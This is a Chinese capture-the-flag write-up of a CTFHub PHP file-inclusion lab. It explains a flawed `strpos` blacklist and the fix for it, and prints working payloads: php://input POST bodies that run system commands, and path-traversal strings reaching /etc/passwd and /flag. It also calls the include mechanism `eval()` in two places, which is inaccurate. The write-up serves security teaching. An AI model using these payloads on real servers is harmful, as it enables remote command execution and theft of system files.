CTFHub RCE通关笔记5:文件包含 远程包含
目录
一、文件包含
二、渗透准备
1、访问靶场
2、查看phpinfo信息
3、源码分析
(1)代码审计
(2)分析strpos逻辑
(3)分析include逻辑
三、php://infput法渗透
1、原理分析
(1)检查对象:$_GET["file"] 这个字符串本身。
(2)执行对象:include 语句处理 php://input 协议时的真实行为。
2、渗透实战
(1)查看根目录下文件
(2)查看flag文件
四、strpos黑名单绕过法渗透
1、原理分析
2、渗透实战
(1)访问/etc/passwd
(2)访问/flag
第1步:安全检查 - if (!strpos($_GET["file"], "flag"))
第2步:文件包含 - include $_GET["file"];
本文讲解CTFHub的RCE-文件包含-远程包含关卡的原理和渗透实战的全过程,系统分析了CTFHub中RCE-文件包含的利用方法。通过审计靶场PHP源码,发现开发者错误使用strpos()函数导致安全防护失效,允许包含flag开头的文件。文章介绍了两种攻击方法:1)利用php://input协议执行POST请求中的PHP代码;2)通过构造以flag开头的路径(如flag/../../../flag)绕过黑名单检查。实战演示了如何查看系统目录和读取flag文件内容。文章还指出正确的防护方法应使用strpos()===false进行严格比较。
一、文件包含
文件包含安全风险源于应用程序在包含文件(如配置文件、模板页)时,未经严格校验就使用了用户可控的输入作为文件名。攻击者可以利用它读取敏感文件或执行任意代码。在PHP中,include
、require
、include_once
、require_once
这些语句的设计初衷是为了代码复用。但当开发者动态包含文件时,如果直接将用户输入的参数(如 $_GET['file']
)拼接到文件路径中,就创造了被攻击的条件。
- 本地文件包含(Local File Inclusion, LFI)是指攻击者只能包含目标服务器本身上的文件。
- 远程文件包含(Remote File Inclusion, RFI)是LFI的“升级版”,指攻击者可以包含远程服务器上的文件。这需要PHP配置中
allow_url_include
选项设置为On
(通常默认是Off
)。
本地保护与远程包含的区别可以用如下比喻:
-
文件包含风险:你家有个洞(未经严格校验就使用了用户可控的输入作为文件名)。
-
本地文件包含(LFI):小偷通过这个洞,只能偷到你家里的东西(服务器上的文件)。
-
远程文件包含(RFI):这个洞变成了一个传送门(
allow_url_include=On
),小偷可以通过它把外面世界的武器(远程服务器上的恶意代码)传送到你家里并直接使用
二、渗透准备
1、访问靶场
开启burpsuite,firefox浏览器开启代理指向burpsuite。在浏览器中地址栏输入靶场的URL地址。
http://challenge-2ff3da7a28efd219.sandbox.ctfhub.com:10800/
访问URL进入到靶场首页,如下所示这是一个显示靶场源码的页面。这段PHP 代码的核心逻辑是通过 GET 参数file
接收文件名并进行包含,但禁止包含包含 "flag" 字符串的文件。如果未传递file
参数,则则展示当前文件的源代码,同时提供了 phpinfo.php 的链接。
2、查看phpinfo信息
点击phpinfo,跳转到/phpinfo.php页面,完整的URL地址如下所示。
http://challenge-2ff3da7a28efd219.sandbox.ctfhub.com:10800/
在phpinfo页面搜索“allow_url”关键字,如下所示发现allow_url_fopen和allow_url_include都是on的状态,说明存在文件包含的安全风险。靶机服务器开启了allow_url_include=On,意味着靶机具有远程包含的安全风险。
3、源码分析
(1)代码审计
分析源码,其核心防护是阻止包含含有 "flag" 字符串的文件,对代码进行详细注释,如下所示。
<?php
// 关闭所有错误报告,隐藏可能泄露信息的错误提示
error_reporting(0);// 检查是否通过GET请求传递了名为'file'的参数
if (isset($_GET['file'])) {// 检查'file'参数值中是否不包含"flag"字符串// strpos返回字符串首次出现的位置,若不包含则返回falseif (!strpos($_GET["file"], "flag")) {// 如果不包含"flag",则包含该文件include $_GET["file"];} else {// 如果包含"flag",则输出"Hacker!!!"提示echo "Hacker!!!";}
} else {// 如果没有传递'file'参数,显示当前文件的源代码highlight_file(__FILE__);
}
?>
<hr>
<!-- 页面显示的提示信息 -->
i don't have shell, how to get flag?<br>
<!-- 提供phpinfo.php的链接,可能用于获取服务器配置信息 -->
<a href="phpinfo.php">phpinfo</a>
(2)分析strpos逻辑
-
功能:
strpos($haystack, $needle)
用于查找字符串$needle
在另一个字符串$haystack
中首次出现的位置。 -
返回值:
-
如果找到,返回的是第一次出现的索引位置(从0开始计算)。
-
如果没找到,返回
false
。
-
-
举例:让我们看几个例子,假设
$_GET["file"]
是以下值:$_GET["file"]
的值strpos(..., "flag")
的返回值含义 "example.txt"
false
字符串中没有 "flag"
"flag"
0
"flag"
在字符串的开头(位置0)"/path/to/myflag.txt"
10
"flag"
在字符串的位置10"/path/to/the_flague"
13
"flag"
在字符串的位置13(找到flag
)"flagger"
0
"flag"
在字符串的开头(位置0)
(3)分析include逻辑
if
条件语句会对括号内的表达式进行真假判断。在PHP中,不同类型的值在逻辑判断中会被转换为布尔值(true
或 false
),这个过程称为“弱类型比较”。
if (!strpos($_GET["file"], "flag")) {// 如果不包含"flag",则包含该文件include $_GET["file"];}
-
false
转换为布尔值是false
。 -
整数
0
转换为布尔值是false
。 -
任何非零整数(如
1
,10
,999
)转换为布尔值是true
。
现在,我们应用 !
(逻辑非) 操作符,并填入上面的例子,会发现当GET传入的字符串如果以flag开头,也会执行文件包含,具体如下表所示(flag和flagger都会执行include)
。:
$_GET["file"] 的值 | strpos(...) 返回值 | 在 if 中的布尔值 | ! (逻辑非) 后的结果 | include 是否执行? |
---|---|---|---|---|
"example.txt" | false | false | true | 是 |
"flag" | 0 | false | true | 是 |
"/path/to/myflag.txt" | 10 | true | false | 否 |
"/path/to/the_flague" | 13 | true | false | 否 |
"flagger" | 0 | false | true | 是 |
这行代码 if (!strpos($_GET["file"], "flag"))
是一个反面教材,它告诉我们:
-
永远不要混淆“返回值”和“布尔成功值”:
strpos()
返回0
是一种成功的找到,而不是失败。 -
使用严格比较:修复的正确方法是使用全等运算符
===
来明确检查返回值是否为false
:
// 正确的、安全的检查方式:只有完全找不到"flag"时才为true
if (strpos($_GET["file"], "flag") === false) {include $_GET["file"];
} else {echo "Hacker!!!";
}
三、php://infput法渗透
php://input
可以访问请求的原始数据的只读流,当使用 POST 方式提交数据 ,php://input
就可以获取到 POST 提交的内容。通过构造一个 POST 请求,将恶意 PHP 代码作为请求体发送。
1、原理分析
php://input
能够绕过的根本原因在于:代码的检查对象和执行对象是不同的东西。为分析为何可以绕过,首先回顾关键代码,具体如下所示。
if (!strpos($_GET["file"], "flag")) {include $_GET["file"];
} else {echo "Hacker!!!";
}
(1)检查对象:$_GET["file"]
这个字符串本身。
-
代码只检查参数字符串里是否包含子串
"flag"
。 -
php://input
这个字符串中不包含flag
这个词。strpos("php://input", "flag")
会返回false
。 -
因此,
if (!false)
条件为true
,安全检查被绕过,代码执行include "php://input";
。
(2)执行对象:include
语句处理 php://input
协议时的真实行为。
-
include
遇到php://input
这个流包装器(Stream Wrapper) 时,并不会去包含一个叫做php://input
的文件。 -
它的行为是:读取当前HTTP请求体中(Request Body)的原始数据,并将这些数据当作PHP代码来执行。
-
攻击者可以将真正的恶意Payload(例如
<?php system("cat /flag");?>
)放在POST请求的Body里,而不是GET参数file
里。
2、渗透实战
(1)查看根目录下文件
首先发送 <?php system('ls /');?>
,服务器执行 eval()
函数时就会执行攻击者发送的系统命令,列出服务器根目录下的文件和目录信息,具体如下所示。
分析如上运行结果,一共列出如下目录和文件信息,包含flag文件(如上图红框所示)。
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
(2)查看flag文件
首先发送 <?php system('cat /flag');?>
,服务器执行 eval()
函数时就会执行攻击者发送的系统命令,查看flag文件内容,如下所示渗透成功。
查看burpsuite中的报文,如下所示。
四、strpos黑名单绕过法渗透
1、原理分析
开发者想实现一个黑名单:“如果参数里包含 flag
这个词,就拒绝请求;否则,就包含它”。他期望的逻辑是:if (找不到"flag") { 执行包含; }
实际的安全风险点:由于对 strpos()
返回值和类型转换的理解错误,代码实现的逻辑变成了:
“如果找不到‘flag’,或者‘flag’就在字符串的开头,就执行包含。”
这造成了两个严重的后果:
-
黑名单被绕过:攻击者可以直接请求包含名为
flag
的文件。-
攻击Payload:
?file=flag
-
分析:
strpos("flag", "flag")
返回0
->if(!0)
即if(true)
->include "flag"
成功执行。开发者本想阻止这个操作,但由于逻辑处理考虑不周,反而允许了。
-
-
过滤不彻底:攻击者可以使用路径遍历和其他方式,只要确保
flag
这个词出现在路径的开头部分,就能绕过过滤。-
攻击Payload:
?file=flag/../../../../etc/passwd
(假设目录存在) -
分析:
strpos("flag/../../../../etc/passwd", "flag")
返回0
->if(!0)
即if(true)
-> 包含操作成功。攻击者通过这种手法可以访问系统上的任何文件,只要路径中以flag
开头即可。
-
2、渗透实战
(1)访问/etc/passwd
攻击Payload: ?file=flag/../../../../etc/passwd
http://challenge-eb543f10e73658b3.sandbox.ctfhub.com:10800/?file=flag/../../../../etc/passwd
(2)访问/flag
攻击Payload: ?file=flag/../../../../flag
http://challenge-eb543f10e73658b3.sandbox.ctfhub.com:10800/?file=flag/../../../../flag
如下所示,成功获取到flag,值为ctfhub{95d3327e45912c18aac5f701}。
逐步分析执行过程,具体如下所示。
第1步:安全检查 - if (!strpos($_GET["file"], "flag"))
-
代码执行:
strpos("flag/../../../../flag", "flag")
-
返回值:
0
。因为子字符串"flag"
在输入的字符串中最开始的位置(索引0)就出现了。 -
逻辑判断:
if (!0)
-
在PHP中,整数
0
在弱类型比较中等价于布尔值false
。 -
!false
的结果是true
。
-
-
结果:安全检查通过!因为开发者的本意是“如果找不到flag这个词才允许包含”,但逻辑错误导致“如果在开头找到flag也允许包含”。
第2步:文件包含 - include $_GET["file"];
-
现在,代码要执行:
include "flag/../../../../flag";
-
PHP的
include
路径解析规则:-
include
会将这个路径字符串作为一个整体进行解析。 -
它会遵循操作系统的路径解析规则,处理其中的特殊符号:
-
../
表示上一级目录。 -
./
表示当前目录。
-
-
解析过程是从左到右进行的。
-
-
分析路径解析过程(假设当前脚本所在目录为
/var/www/html/
):-
起始点:
/var/www/html/
(这是执行脚本的当前目录) -
拼接
flag/
:/var/www/html/flag/
(尝试进入一个名为flag
的子目录) -
遇到第一个
../
:回溯到上一级目录 ->/var/www/html/
-
遇到第二个
../
:继续回溯 ->/var/www/
-
遇到第三个
../
:继续回溯 ->/var/
-
遇到第四个
../
:继续回溯 ->/
(根目录!) -
最后拼接上
flag
:/flag
-
-
最终,
include "flag/../../../../flag";
执行效果为包含根目录下的文件:/flag